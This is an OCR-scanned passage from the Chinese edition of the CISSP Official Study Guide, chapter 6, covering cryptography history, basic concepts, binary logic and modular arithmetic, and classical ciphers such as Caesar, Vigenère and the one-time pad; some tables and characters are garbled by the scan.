与王
密码学与对称加密算法
本章中覆盖的 CISSP 考试大纲包含 :
安全工程
• I. 应用加密学
1. 1 密码学生命周期(例如， 密码学的局限性、 算法/协议的管理)
I.2 密码学的种类(对称密码学、 非对称密码学 、 椭圆曲线 密码学)
1.7 不可否认性
1.8 完整性(哈希和撤盐)
密码学为数据的处理、 存储和通信过程提供附加的安全级别 。 近年来， 数学家和计算机科学家
开发了一系列 日 益复杂的算法， 这些算法被设计用于确保机密性、 完整性、 身份认证和不可否认性。
在密码学家花费大量时间开发强加密算法的 同时， 黑客们和政府同样投入了 可观的资源来破解这些
密码学算法。 这产生了 密码学领域的"军备竞赛"， 并且导致如今使用的极其精密的算法的不断发展。
本章将研究密码学的历史、 基本的密码学通信和私钥密码系统的基本原理。 下一章将通过研究公钥
密码系统和攻击者用于击败密码学的各种技术来继续对密码学的讨论。
6. 1 密码学历 史上 的里程碑
自 从有了人类， 人们设计了 各种不同 的书写通信方法， 这些方法从古人类写在岩洞墙壁上的象
形文字， 一直延伸到塞满了用现代英语写成的含全部信息的百科全书光盘。 伴随着人类通信的发展，
为了对那些局外人隐藏通信的真正含义， 保密的方法应运而生。 古人类社会使有复杂的秘密符号系
统代表战争中安全的地方。 现代文明社会使用多种代码和密码促进个人和组织之间的私人通信。 在
下面的内容中， 你将看到现代密码学的发展和一些著名 的暗中拦截和破译加密通信的尝试。
6. 1 .1 凯撒密码
己知最早的一种密码系统是朱利叶斯 · 凯撒在征服欧洲时， 在罗马与西塞罗通信时使用 的密码
CISSP 官方学习指南(第 7 版)
系统。 凯撒在传递信息时知道会有很多风险: 送信人可能就是敌人的 间谍， 或者可能在通过敌方兵
力部署区域的途中遭到伏击。 出于这些原因 ， 他开发了一种密码学系统， 现在我们称之为凯撒密码。
这个系统自 身相当简单。 为了对消息进行加密， 可以简单地将字母表中 的每个字母都替换为其后的
第三个字母。 例如， 字母A被替换为D， 而字母B则替换为E。 如果在这个过程中到达了字母表的结
尾， 那么可以简单地返回到字母表的开始， 这样字母X就替换为A， 字母Y替换为B， 字母Z则替换为
C 。 因此， 凯撒密码也被称为ROT3(或Rotat巳 3)密码。 凯撒密码是单一字母的替代置换密码， 也被称
C3密码。
1 30
注意 :
虽 然凯撒密码使用 3 位的移位， 但是其他根据用 户 所需 而使用 同样方式并移动任意数量字符的
算法也称为凯撒密码。 例如， R0T12 就是将字母 A 变 为 M ， 将字母 B 支为 N ， 并以此类推。
下面给出 了一个凯撒密码的实际例子。 第一行是原始句子， 第二行则显示了在使用凯撒密码加
密后的句子:
THE DIE HAS BEEN CAST
WKH GLH KDV El由Q FDVW
要解密这条消息 ， 只 需要简单地将每个字母都替换为前面的第三个字母。
警告 :
尽管凯撒密码易 于使用 ， 但是也很容易被腐碎。 凯撒密码很容易遭受频率分析攻击。 你可能知
道， 英语中常见的字母是 E、 T、 A、 0、 N、 R、 I、 S和H. 攻击者要破解凯撒型 密码， 只 需通过查
找力口 密文本中 最常见的 字母， 然后 尝试替换为英语中常见 的 字母， 就能够确定加 密模式。
6.1 .2 美国内战
从凯撒时代到美国建国初期的漫长岁月 里， 科学家和数学家做出 了 巨大的成就， 从而超越了古
代文明所使用的早期密码。 在美国 内 战期间， 由于北部联邦和南部联邦的支持者都通过窃听对方的
电报线路来刺探情报， 因此双方对前线的安全通信都使用了相对先进的密码系统。 这些系统使用词
汇替代和置换(详细内容参看 " 密码 " 部分)的复杂组合， 从而试图破坏敌人的破译企图。 在内战中
广泛使用 的另一个系统是 由军医 Albert 1. Myer 开发的一系列标记符号 。
注意 :
关于本章诸多 讨论项目的 图片， 可以在 www.nsa.gov/aboutJcryptologic_heritagelmuseum 这个网
址看到 。
6. 1 .3 Ultra 与 Enigma
美国人并不是唯一在追求超级编码制造机方面投入大量资源的人。 在第二次世界大战之前， 德
国 军事产业复合体为了 官方使用而改造了 一种名 为 Enigma 的商业编码机。 这台机器使用一系列 3
到 6 个转子实现了 一种极复杂的替换密码。 使用 同时代的技术对加密消息进行破译的唯一可行方法
是使用类似的机器， 这些机器应当具有与传输设备使用的相同转子设置。 德国人认识到保护这些设
第6章 密码学与对称加密算法
备 的重要性， 这使得同盟国极难获得一台这样的设备。
同盟国军方开始了一项代号为 川剧 的绝密工作 ， 其 目 的 是对 Enigma 编码进行攻击。 最终， 当
波兰军方成功地复原了一台 Enigma 原型机并且与英国和美国 的密码术专家共享了 他们 的成果时，
他们的努力得到 了 回报。 同盟国在 1 940 年成功地破解了 Enigma 编码， 历史学家相信这次成功为最
终战胜轴心国起到了重要 的作用 。
日 本人在第二次世界大战期间使用 了类似的一台机器， 被称为 JapanesePurple Machine。 美国人
对这个密码系统的攻击效果显著， 导致日 本人的密码在战争结束前就己被破解 。 美国人从日本人的
发报机所使用 的消息规范格式中获得了 帮助， 这些规范格式导致多条消息中存在大量类似文本， 从
而使密码分析工作变得容易 了 许多 。
6.2 密码学基础
任何学科的研究工作都必须从对其所依赖的基本原则 的讨论开始。 下面的 内容从几个方面对密
码学基础进行了讨论: 密码学的 目 标、 密码学技术的基本概念、 密码系统使用 的主要数学原理。
6.2.1 密码学的目标
安全从业人员利用密码系统达到下列 4 个基本 目 标: 机密性、 完整性、 身份认证和不可否认性。
实现每个 目 标都需要满足很多设计需求， 并且不是所有的加密系统都要达到所有 4个目标。 接下来，
我们将对每个 目 标进行详细研究， 并且对达到 目 标所需的必要技术进行简要说明 。
1 机密性
机密性确保数据在存储中(例如， 存储在磁盘上)或在传输中(例如， 在两方或多方之间传递)保持
秘密状态。 这可能是密码系统提到的最广泛 目标， 即促进个体和组织之间 的通信保密。 强制实施机
密性的密码系统主要有两种类型: 对称密钥密码系统使密码系统中 的所有用户都能够使用一个共享
的密钥， 公钥密码系统使系统中的每个用户都能够使用公钥和私钥的单独组合。 这两个概念将在本
章稍后的 " 现代密码学 " 部分进行探讨 。
提示 :
保护静态数据和传输中数据的概念往往也包含在 CISSP 考试范 围 中 。 你也应该知道传输中 的数
据通常被称 为 "线缆上的 数据" ， 指的是承载数据通信的 网 络电缆。
当 开发 以提供保密为 目 的 的加密系统时， 你必须考虑两种不同类型的数据:
• 静态数据或存储数据， 是指数据保存在固定和等待接入的位置。 静态数据的例子包括存储
在硬盘、 磁带备份、 云存储服务、 USB 设备和其他存储介质上 的数据 。
• 运动中 的数据或线缆上的数据， 是指在两个系统之间通过网络传输的数据。 运动中 的数据
可能在企业网络、 无线网络或公共互联网上进行传输。
运动中 的数据和静态数据会构成不同类型的机密性风险， 但是可以通过加密对其进行保护。 例
如 ， 运动 中 的数据容易 受到窃听攻击， 而静态数据更容 易受到物理设备被盗窃的风险。
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CISSP 官方学习指南(第 7 版)
2. 完整性
完整性确保数据在传输的过程中不会被修改。 如果采用 了适当的完整性机制， 那么消息的接收
者可以确定接收到的消息与发送出 的消息完全相同。 简单来说， 完整性检查能确保存储的数据在创
建和被访问期间不会遭受篡改。 这样做可以防止所有形式的修改: 第三方企图插入错误信息的有意
修改以及因传输过程 中 的错误导致的无意修改。
消息完整性通过使用在传输消息时创建的数字签名消息摘要来强制实施。 消息的接收者简单地
对消息摘要和签名的有效性进行验证， 确保消息未在传输过程中修改。 公共和私钥密码系统都能够
强制实施完整性。 在第 7 章的 " 数字签名 " 一节中将对这个概念进行详细讨论。 使用 哈希加密算法
来保护文件完整性将在第 2 1 章 "恶意代码和应用攻击 " 中进行阐述。
3. 身份认证
身份认证对声明 的系统用户身份进行验证， 并且是密码系统的主要功能。 例如， 假设 Alice 希
望与 Bob 建立通信会话， 并且他们都参与到一个共享的保密通信系统。 A1ice 可能使用挑战/响应身
份认证技术确保 Bob 名副其实 。
图 6. 1 显示了挑战/响应协议在实际操作中是如何运行的。 在这个示例中 ， 由 Alice和Bob 使用
的共享秘密代码很简单: 每个词汇的宇母都被简单地颠倒次序。 Bob 首先与 Alice 联系， 并且标识
自 己的身份。 Alice 随后向 Bob 发出挑战信息 ， 要求他使用只 有 Alice 和 Bob 知道的秘密代码对一小
段消息进行加密。 Bob 将加密后的消息回应给 Alice。 在 Alice 验证这段加密消息的正确性之后， 她
相 信 Bob 确 实位于连接的另一端 。
"嗨， 我是 Bob!"
"为了证明是你， 请加密 'apple' 0"
Uelppa"
"嗨. Bob. 很高兴再次与你交谈。 "
图 6. 1 挑战/响应身份认证协议
4. 不可否认性
不可否认性为接收者提供了担保， 保证消息确实来自 发送者而不是来 自伪装成发送者的人。 不
可否认性能够防止发送者宣称原先从未发送过信息(也被称为否认消息)。 秘密密钥(或对称密钥)密码
系统(如简单的替代密码)并不提供对不可否认性的保证。 如果 Jim 和 Bob 都参与了某个密钥通信系
统， 那么他们就能够使用他们的共享密钥生成相同 的加密消息。 只 有公钥(或非对称密钥)密码系统
才提供不可否认性 ， 第 7 章将对 这个问 题进行更详细的讨论。
6.2.2 密码学概念
与任何科学一样 ， 在研究密码学之前， 你必须熟悉某些术语。 下面会介绍一些用于描述编码和
密码的关键术语。 消息在成为编码形式之前， 被称为明文消息， 并且在描述加密函数时使用字母 P
第6章 密码学与对称加密算法
表示。 消息的发送者使用密码学算法将明文消息加密为密文消息， 并且使用字母 C 表示。 消息通过
一些物理的或电子的方式被传送给接收者。 接收者随后使用预先确定的算法对密文消息进行解密，
从而得到 明 文形式的消 息(关于这个过程的详细解释 ， 请参看本章后面的图 6.3) 。
所有密码学算法都依赖密钥来维护其安全性。 在很大程度上， 密钥只不过是一个数字 。 密钥往
往是一个非常大的二进制数， 不过仍然是一个数字。 每种算法都具有一个特定的密钥空间。 密钥空
间是一段值的范围， 此范围 内 的值可作为密钥算法的有效密钥。 密钥空 间 由其位的长度定义。 位的
长度只不过是密钥中 的 比特数或位数(Os 和 Is)。 密钥空间的范围为: 从所有位全部为 0 到所有位全
部为 l 。 如果采用另一种方式表示 ， 那么密钥空间 的范围为 0到2n， 其中 n 是密钥的位的长度。 因
此， 128 位密钥的值可以从 0 到 2128(大约为 3.40282367* 1 038， 这是一个相当大的数字)。 保护密钥的
安全是非常重要的。 事实上， 从密码学获得的所有安全性就只能依赖于保证秘密使用密钥的能力。
Kerchoff 原则
所有密码学都基于算法的思想。 算法通常是一组数学规则 ， 这纽规则规定如何进行加密和解密
过程。 大多数算法都遵循 Kercho:fff#.. ýlJj ， 这条原则 使算法已知和公开， 并且九许任何人检查和测试
算法。 说的 明确一些 ， Kercho:ff 原 则(也被称为 Kercho:ff假设)就是算法应 当 公开， 但是所有密钥都
应 当 保密。 这条原则可归纳为 "敌人知道 了 这个体系"
许多 密码学 家都遵循这条原则 ， 但是并非所有人都女口此。 事实上， 一些人坚持相反的观点， 他
们 坚信算法和密钥都保密能够维护史佳的整体安全性。 Kercho:ff 原则的支持者反驳这种相反的做法
包含 "隐藏式保全" 习 惯， 并且相信公开算法能够产生 更大的活力 ， 能够更容易地暴露更多 的弱点，
从 而使人们 能够放弃不够强壮 的 算法， 并且可以 更快地采用 适合的 算法 。
正如你将在本章和下一章中学到的那样， 不同类型的算法要求不同类型的密钥。 在私钥(或秘密
密钥)密码系统中 ， 所有参与者都使用单个共享的密钥。 在公钥密码系统中， 每个参与者都具有 自 己
的密钥对。 密 钥有时被称为密码变量。
创建和实现秘密编码和密码的技术被称为密码术， 与之对应的技术是密码分析学一-对解码和
解密方法进行的学习研究 。 通常， 密码术与密码分析学一起被称为密码学。 编码或密码在硬件和软
件上的具体实现被称为密码系统。 美国联邦信息处理标准 1 40-2σIPSI40-2)的 " 密码模块的安全需
求 " 为美国联邦政府使用 的密码模块定义 了 硬件和软件需求。
提示 :
在继续学习本章和下一章的 内 容之前， 必须确保理解这些术语的含义。 对于理解接下来要介绍
的 密码学算法的技术细节来说， 理解这些 术语是必 不可少的。
6.2.3 密码学 的数学原理
由于密码学存在数学基础， 因此它与大多数计算机科学学科没有什么区别。 为 了全面理解密码
学 ， 必须首先理解二进制数学的基本知识以及用于操作二进制数值的逻辑操作。 下面将对最基本的
一些概念进行简要介绍 ， 这些概念是你应该熟悉的内容。
1 . 二进制数学
二进制数学定义了一些形成所有计算机神经系统的 比特和字节所使用 的规则。 你非常熟悉十进
1 33
CISSP 官方学习指南(第 7 版)
制系统。 十进制系统是一个以 10 为基础的系统， 其中每一位都是从 0到9 的整数， 并且每一位都是
1 0 的倍数。 我们所依赖的这个十进制系统很可能具有生物学起源一一人类有 10 根手指用来计数。
提示 :
二进制数学一开始可能会很混乱， 但是我们值得花时间来学 习各种逻辑运算是如何工作。 更重
要的是， 为 了 真正理解密码学算法 的 内 在工作原理 ， 你 需要理解这些概念 。
类似的， 计算机依赖的二进制系统起源于 电。 在 电流中 ， 只 有两种可能的状态: 开(代表存在电
流)和关(代表没有电流)。 电子设备执行的所有计算都必须利用这些术语来表达， 这就出现了现代 电
子学中 对二进制的使用 。 总的来说， 计算机科学家将开的状况称为真， 将关 的状况称为假。
2. 逻辑运算
密码学的二进制数学使用多种逻辑函数来操纵数据。 接下来我们将对这些逻辑运算进行简要
介绍 。
AND
AND 运算(用符号〈表示)可以检查两个值是否都为真。 下面的这张真值表说明 了 AND函数的所
有 4 种可能的结果。 需要记住的是， AND 函数只 有两个输入变量。 在二进制数学中 ， 每个变量都只
有两种可能的值， 因而为且也 函数准备了 4 种可能的输入。 正是这种有限的可能性才使得计算机
在硬件上实施逻辑函数变得非常容易。 在下面的真值表中可以看到， 只有一组输入组合(其中两个输
入值都为真)的输出值能够为真值 :
1 34
x y X^ Y
o 0 0
010
。 。
逻辑运算常常在整个二进制代码的基础上执行， 而不是在单一的数值基础上执行。 让我们来看
一看下面的例子:
X: 011011 00
Y: 10100111
X ^ Y: 0 0 1 0 0 1 0 0
可 以看到， AND 函数通过比较每一列上 X和Y 的值进行计算。 只 有在X和Y 的值都为真的列
上 ， 结果才为真。
OR
OR 运算(用符号v来表示)可以检查是否至少有一个输入值为真。 下面的真值表中 列出 了 OR 函
数的所有可能的值。 可 以看到 ， 只 有在两个输入值都为假时 ， OR 函数的结果才会返回假:
第6章 密码学与对称加密算法
X Y XvY
。 。 。
。
。
我们可以利用与上面相同的例子， 如果 X和Y执行 OR 运算而不是AND 运算 ， 输出内容如下
所示:
X:
Y:
o 1 101 100
1 0 100 1 1 1
X v Y: 1 1 1 0 1 1 1 1
NOT
NOT 运算(用符号~或!来表示)简单地将输入值取反。 这个函数每次只对一个变量进行操作。 下
面是 NOT 函数的真值表:
x -X
o 1
。
在下面的例子中 ， 我们对前面示例 中 的 X 值进行 NOT 运算:
X: o 110 1 100
-X : 1 0 0 1 0 0 1 1
XOR
本章要研究的最后一个逻辑函数可能在密码学应用 中最为重要且最常用， 这就是异或仅OR)操
作 。 在数学文献中， 也被称为 XOR 函数， 并且通常用符号 @ 表示。 只 有在一个输入值为真时， XOR
函数的结果才为真。 如果两个输入值都为假或都为真， 那么 XOR 函数的结果为假。 下面是 XOR 运
算 的真值表:
x Y XEBY
。 。 。
。
。
。
1 35
CISSP 官方学习指南(第 7 版)
在 下面的示例 中 ， 可 以看到当 X和Y进行 XOR 运算时的情况:
X: 01101100
Y: 1 0 1 0 0 1 1 1
X EB Y: 1 1 0 0 1 0 1 1
3. 模函数
在密码学领域， 模函数极为重要。 回想一下我们最初学习除法时的情形。 在那时， 你并不熟悉
小数， 每次在进行除法操作时都会得出余数。 计算机本来也不理解小数系统， 并且这些余数在计算
机执行很多数学运算时起到了 至关重要的作用。 模函数十分简单， 也就是在完成除法运算后得到
余数。
提示 :
对于密码学来说， 模函数就如同逻辑运算一样重要。 应 该确保对其功能非常熟悉， 并且可以执
行一些 简单的棋运算 。
1 36
在等式中 ， 模函数通常由缩写词 mod 来表示， 不过有时也会用%运算符来表示。 下面给出 了几
个模运算的输入和输出示例 :
8 mod 6 = 2
6 mod 8 = 6
10 mod 3 = 1
10 mod 2 = 0
32 mod 8 = 0
我们将在第 7 章探讨 RSA 公钥算法(以其发明 者 Rivest、 Shamir、 Adleman 命名)时再次介绍这
种运算。
4. 单向函数
单向函数是一种数学运算， 它可以通过所有可能的输入值组合得出结果， 但是反向得出输入值
却是不可能的 。 公钥密码系统都建立在单向 函数的基础上。 但实际上， 人们从未证明过任何指定的
己知函数确实是单向的。 密码员依赖于他们认定的单向函数， 但是理论上它们可能会被将来的密码
分析人员破解。
这里举一个例子。 试想你有一个三个数相乘的 函数。 如果限制输入值是一位数字 ， 那么通过
查看数值结果反向设计这个函数并确定可能的输入值是相当简单的 。 例如， 通过 1 、 3和5这三个
输入值可以得到结果 15。 然而， 假设限制输入值为 5 位的素数。 通过计算机或计算器获得结果还
是很简单的， 但是反向推算就不是那么简单了 。 你能算出 10718 488 075 259 是哪三个素数得出 的
结果吗? 不是那么简单 ， 对吗? (这三个数是 1 7 093、 22 441 和 27 943)。 实际上 5 位的素数共有 8 363
个 ， 因此利用计算机或穷举攻击算法可能会破解这个问题， 但 口算是无法得出结果的， 这一点是肯
定 的 !
第6章 密码学与对称加密算法
5. 随机数
密码学往往通过在加密过程中添加随机性来获得强度。 实现这个 目 标的一种方法是使用随机数。
随机数是随机数字发生器 ， 起到了 数学函数中 占位符变量的作用。 执行数学函数时， 占位符会被替
换为在处理时刻生成的随机数。 每次使用数学函数时 ， 随机数都会产生一个独特的数字。 随机数的
一个更为人接受的示例是初始向量(Initialization Vector， IV)， 这是一个与分组长度相 同的随机比特
串 ， 并且与原始消息相异或。 在每次使用相 同密钥加密相同的消息时， N 都被用于创建独特的密文。
6. 零知识证明
密码学的一个优点是建立了 这样的机制: 在不向第三方揭示事实本身的情况下向第三方证明对
事实的 了解。 这种机制通常涉及密码和其他秘密的身份认证。
零知识证明的经典示例涉及两个人: Peggy 和 Victor0 Peggy 知道环形洞穴内部暗门 的密码， 如
图 6.2 所示。 Victor 愿意从 Peggy 那里购买密码， 但是在付款之前希望 P巳ggy 证明她确实知道密码。
因 为担心得不到酬金， 所以 Peggy 也不愿意先将密码告诉 Victor。 零知识证明就能够解决这个左右
为难的问题。
. .
图 6.2 魔法门
Victor 可 以站在洞穴的入口， 并且 目 送 Peggy 进入洞穴。 Peggy 随后到达暗门 ， 并且使用密码打
开暗门 。 她穿过暗门 ， 最后通过路径 2 返回洞穴入口。 Victor 看到 Peggy 从路径 1 进入洞穴， 然后
通过路径 2 返回 ， 这就证明她肯定知道打开暗 门 的密码。
7 分割知识
如果执行某个操作所需的信息或权限在多个用户之间分配时， 任何一个人都没有足够的权限来
危害环境的安全性。 单个解决方案中 包含的这种职责分离和两人控制被称为分割知识。 分割知识
的最佳示例就是密钥托管的概念。 通过使用密钥托管， 密码密钥、 数字签名甚至数字证书 ， 可 以
被存储在或备份在一种被称为密钥托管数据库的特殊数据库中 。 如果用户 的密钥丢失或损坏， 那
么 可以从备份中抽取出相应的密钥 。 然而， 如果只存在一个密钥托管恢复代理 ， 那么就有机会伪
1 37
CISSP 官方学习指南(第 7 版)
造和滥用这种权限。 "M ofN 控制 " 要求: 在总数为 N 的代理中 ， 最少需要 M 个代理一起工作才能
完成安全性很高的任务。 因此， "3 of 8 控制 " 要求 8 个人(被分配了密钥托管恢复代理的工作任
务)中 的 3 个人一起完成工作， 才能从密钥托管数据库中取出单个密钥(本例说明 了 M 始终小于等
于 N) 。
8. 工作函数
通过使用工作函数或工作因数， 从成本和/或时间方面来度量所有努力， 就可 以度量密码学系统
的强度 。 通常， 针对加密系统执行完全穷举攻击所需的时间和努力， 就是工作函数所表示的 内容。
密码系统提供的安全性和保护与工作函辈U因数的值成正比。 工作函数的大小应当与受保护资产的相
对值匹配。 工作函数只需稍大于受保护资产 的时间值。 换句话说， 所有安全性(包括密码学)都应当
是有效益的和有效率的 。 保护某个资产所花费的成本不能超过这个资产 自 身的价值， 但是一定要保
证提供足够的保护。 因此， 如果信息由于时间的推移而失去价值， 那么工作函数的大小只 需确保在
数据失去价值前提供保护 即可。
6.2.4 密码
许多关心保持通信机密性的政府和个人已经使用密码系统很长时间 了 。 在接下来的内容中， 我
们将对密码的概念和几种常见的、 形成现代密码基础的密码类型进行介绍。 这些概念看起来只 是基
础知识， 但是在组合使用时可能是令人畏惧的对手， 并且会令密码分析人员长时间无法破解。
1 . 编码与密码
1 38
人们常常将词汇 "编码" 和 "密码" 互换使用 ， 但是从技术上讲 ， 它们是不能互换的。 在这两
个概念之间 ， 存在很重要的差异。 编码是密码学系统中表示词汇或短语的符号， 有时 是秘密的， 但
是不一定提供机密性。 编码的常见示例是执法机构使用 的通信 " 10 系统"。 在这个系统中 ， 1;吾句 " 我
收到你的信息， 并且理解其含义" 被表示成编码短语 " 1 0-4飞 这个编码是众人皆知的， 但是它确实
提供了 通信 的简 易性。 一些编码是秘密的 。 为了传输机密的消息， 这些编码可能使用数学函数或密
码字典来表示词汇、 短语或句子。 例如 ， 间谍可能通过传送语句 "鹰着陆了 " 来报告敌人飞机的来袭。
另 一方面， 密码总是意味着隐藏消息的真实含义。 密码使用各种技术修改和/或重新排列消息中
的字符或比特， 从而实现机密'性。 在 比特(也就是二进制编码的单个位)、 字符(也就是 ASCII 码消息
的单个字符)或分组(也就是一条消息的固定长度分段， 通常用 比特数表示)的基础上， 密码将消息从
明 文转换为密文 。 接下来将介绍几种 目 前常用 的密码。
提示 :
记住编码和密码之间差异的一种简单方法是: 编码针对词汇和短语， 而 密码则针对单独的字符
和比特。
2. 换位密码
换位密码使用某种加密算法重新排列明 文消息中 的字母， 从而形成密文消息。 解密算法只需反
演加密转换过程就可 以得到原始消息。
第6章 密码学与对称加密算法
在本章前面的图 6. 1 所示的挑战/响应协议示例中 ， 一个简单的换位密码被用于简单地调换消息
中 的字母， 从而使 apple 变成 elppa。 换位密码可能会比这个示例复杂得多。 例如， 可 以使用一个密
钥来执行柱状换位(∞iωnnar transpositioo)。 在该例中， 我们试图利用密钥 attacker 对信息"The fighters
will strike the eoemy bases at 0000" 进行加密。 首先， 我们要取出密钥的宇母， 并且依照宇母顺序进
行编号。 第一个字母A的值为 1 ， 第二个字母 A 的值为 2， 下一个字母按顺序是 C， 编号为 3 ， 依
此类推。 结果就是下面这个顺序:
A T TACKER
1 7 8 2 3 5 4 6
接下来， 消息中 的字母按顺序写 在密钥字母的下面:
A T T A C K E R
1 7 8 2 354 6
T H E F 1 G H T
E R S W 1 L L S
T R IKE T H E
E N E M Y B A S
ESATNO ON
最后， 发送者通过向 下读取每一列对消息进行加密， 这些列的顺序依据第一步中分配的数字读
取 。 这个过程便产生 了 如下所示的密文:
T E T E E F W K M T 1 1 E Y N H L H A 0 G L T B 0 T S E S N H R R N S E S 1 E A
在另一端 ， 接收者利用密文和相同 的密钥重建这个 8 列矩阵， 随后按行读取得到明文消息 。
3. 替代密码
替代密码使用加密算法将明文消息中 的每一个字符或比特都替换为不同的宇符。 在本章开始时
讨论的凯撒密码就是替代密码的一个很好的例子。 现在我们 已经学习 了 密码学的一些数学知识， 所
以将从另外的方面研究凯撒密码。 前面曾经介绍过， 我们简单地将消息 中 的每个字母都替换为其右
侧第三个字母， 从而生成密文。 然而， 在到达字母表的末端并且用光了字母时 ， 我们碰到了 问题。
通过绕回到字母表的开头就可以解决这个问题， 这样明 文字符 Z 变成 了 密文字符 C。
通过将每个字母转换成与之对等的十进制值(即 A 等于 0， z 等于 25)， 就可以采用数学关系来
表示 ROT3 密码。 随后， 通过将每个明文字母加 3 就能够确定密文。 利用 " 密码学的数学原理 " 一
节 中 的模函数可以将回绕过程考虑在 内 。 凯撒密码最终的加密函数如下所示:
C = (P + 3) mod 26
对应的解密函 数如下所示:
P = (C - 3) mod 26
与换位密码一样， 有很多替代密码比本章提供的示例更复杂 。 多字母替代密码在相同的消息中
使用多个字母表来阻碍解密操作。 多字母替代密码的一个著名示例是 Vigenere 密码。 Vigenere 密码
使用如下所示的单个加密/解密图表:
1 39
CISSP 官方学 习指南(第 7 版)
A B C D E F G H I J K L M N 0 P Q R S T U V W X Y Z
A B C D E F G H I J K L M N 0 P Q R S T U V W X Y Z
B C D E F G H I J K L M N 0 P Q R S T U V W X Y Z A
C D E F G H I J K L M N 0 P Q R S T U V W X Y Z A B
D E F G H I J K L M N 0 P Q R S T U V W X Y Z A B C DEFGHT43KLMNOPQ
RSTUVWXY
CDEFGHT43KLMNOPQRSTUVWX
BCDEF「UH--JKLMNOP
QRSTUVW
Amauf」nυF-F「FUUHT41JK川i』MHM川nvDEAU飞DHQUTl川UVV
7ιAH川Qυ「LnυFtF「「Uμ川Ti1JV叭'LM川M川〈Unrny
nHHCJTl川U
V17ιAHRUFLnu「巳「「「Uμ川T4寸JvntLM川M川nunrnynkF〉Tl
v〈VS7ιAHRU「Lnυ「巳「「FUUHT·-&寸JUHlLM门M川nuDEnyDH户、d
wxyZABCDEF「UH--JKLMNOPQ
R
VVMWVAVE7ιAmRυrLnυELEI「UUHT丰寸JUHiLM川M川nuDIny
UVWXYZABCD-tFGHI3KLMNOP
T-门UUVMWV〈V17LAHRU「LnυE」「「FUU川T41JV队lLMmM川nu
STUVWXYZABCDEFGHT43KLMN
RSTUVWXYZABCDELE'
「UH--JKLM
QR
STUVWXYZABCDEFGHTE--JKL
DgnyD川CUT-川uvvWHV〈V'7ιAHRυFLhu「巳「「FUU川Ti1JK川
OPQRSTlUVWXYZ
ABCDEFFUH--J
NOPQRSTUVWXYZABCDEFGHI
MNOPQRSTUVWXYZABCDEFGH
LMNODEQRSTUVWXYZABCDEFPU
Ke-』MNOP
QRSTUVWXYZABCDELES
寸JKLMNOPQRSTUVWXYZABCDE
T丰寸JMHlLM门M川〈UDEnyDHCdTI门UVVMWVAV-7ιAHQUFLnυ
H川Ti1vkHl」MHM川nuDlnyDnp〉丁·门UVVMWVAVt7』AmRυ「L
FUUHT41JUH1LM川M川nuDInv、DHCJTl川UVVMWV〈V17LAHRU
FFUHI3KLMNOPQRSTUVWXYZA
EFFUH--JKLMNOPQRSTUVWXYZ
可 以看到， 这个图表只是重复书写(26 次)的字母表， 每一列的首字母都是前一列首字母的下一
个字母。 Vigenere 系统需要使用一个密钥。 例如， 密钥可以为 secret。 随后， 可 以执行下列加密过程:
(1) 写下明文及密钥 。
(2) 根据需要重复密钥 ， 从而建立一行与 明 文长度相 同 的文本。
(3) 将每个字母位置都从明 文转换为密文 。
a. 定位 以第一个明文字符(a)开头的列。
b. 随后 ， 定位 以第一个密钥宇符(s)开头的行。
c. 最后， 定位所找出行列 的交叉点 ， 并且写下交叉点的字母， 这就是相应的密文字母。
1 40
第6章 密码学与对称加密算法
(4) 重复步骤(1 )至(3)， 对明文的所有字母进行加密。
明 文 a t t a c k a t d a w n
密钥 s e c r e t s e c r e t
密文 s x v r g d s x f r a g
虽然多宇母替代能够防范直接的频率分析， 但是容易遭受二阶形式的频率分析(也被称为周期分
析攻击， 这种攻击基于密钥的重复使用进行频率检查)。
4. 一次性填充
一次性填充是一种极为强大的替代密码。 一次性填充对明文消息的每个字母都使用一个不同的
字母表。 它们可 以通过下面的加密函数来表示， 其 中 K 是 以 C 表示 的字母的加密密钥 :
c = ( P + K) mod 26
通常 ， 一 次性填充被记为插入函数的一个很长的数字序列。
注意 :
一次性填充也被称为 Vemam 密码， 这种密码以 AT&T Bell 实验室的发明者 Gilbert S扭曲rd
Vernam 的名 字命名 。
一次性填充的巨大好处是: 如果运用得当， 它是一个不可破解的加密方案。 由于不存在重复的
字母替代模式， 这使得密码分析工作徒劳无益。 然而， 为了确保算法的完整性， 必须满足下列几个
要求;
• 加密密钥必须随机生成。 使用一个短语或书中 的一段话会引入密码分析人员破译这个编码
的可能性。
• 一次性填充必须进行物理保护， 以防泄露。 如果敌人具有这个一次性填充的副本， 那么他
们就可以轻易地破译加密的消息。
注意 :
可以考虑一下这一点: 凯J散密码、 Vigenère 密码和一次性填充密码听起来非常相似。 它们确 实
如此， 不同之处只是密钥的长度。 凯J散切换密码用 的是一位的长度， Vigenère 密码用 的是更长的长
度(通常是一个词或一句 话)， 一次性填充密码用 的 就是消 息本身 。
• 每个一次性填充必须只使用一次。 如果填充被重复使用 ， 那么密码分析人员可以比较多个
使用相 同填充的加密消息中 的相似之处， 井有可能确定使用 的密钥值。
• 密钥必须至少与被加密的消息一样长 ， 这是因 为每个密钥元素都只对消息中 的一个字符进
行编码。
提示 :
这些一次性填充的安全性要求是所有 网络安全从业人员 者陕掌握的基本知识。 人们时常试图 实
现一次性填充密码系统， 但却无法达到其中 的一个或多 个基本要求。 了 解整个 Soviet 编码系统是如
何 由 于在这方 面 的粗心 大意而被破解的例子。
1 41
1 42
CISSP 官方学 习指南(第 7 版)
如果这些要求中的任意一个没有被满足， 那么一次性填充难以破解的本质特性就会立即消失。
实际上， 美国谍报工作的一个主要成功之处是由于密码分析人员破解 了依赖使用一次性填充的绝密
的Soviet密码系统。 在这个代号为VENONA的计划中， Soviet在填充中所使用 的密钥值的生成模式被
发现了 。 这个模式的存在违反了一次性填充密码系统的第一个要求: 密钥必须随机生成， 不使用任
何重复 的模式。 整个VENONA项 目 直到 最近才被公开 ， 并且在美国 国 家 安全局 的 Web站 点
www.nsa.gov/abouν'_ files/cryptologic _ heritage/publications/coldwar/venona _story.pdf上可 以看到相关 的
信息。
一次性填充一直被用于保护极其敏感的通信 ， 不能被广泛使用的主要障碍是很难生成， 以及分
发和保护所需 的冗长密钥 。 由 于密钥的长度 问题， 一次性填充在 实际 中 只 可用 于短消息。
5. 滚动密钥密码
密码学的许多脆弱性都涉及密钥的有限长度 。 前面刚介绍过， 通过在加密和解密期间为每个密
码转换使用不同的字母表， 一次性填充避免了这些脆弱性。 然而， 因 为要求填充的物理交换， 所 以
一次性填充难 以实现。
对于这个难题， 一个常见的解决方案是使用漆动密钥密码， 也被称为书籍密码。 在这种密码中 ，
加密密钥与消息本身一样辰， 并且往往从一般的书籍中选取。 例如， 发送者和接收者可以预先约定
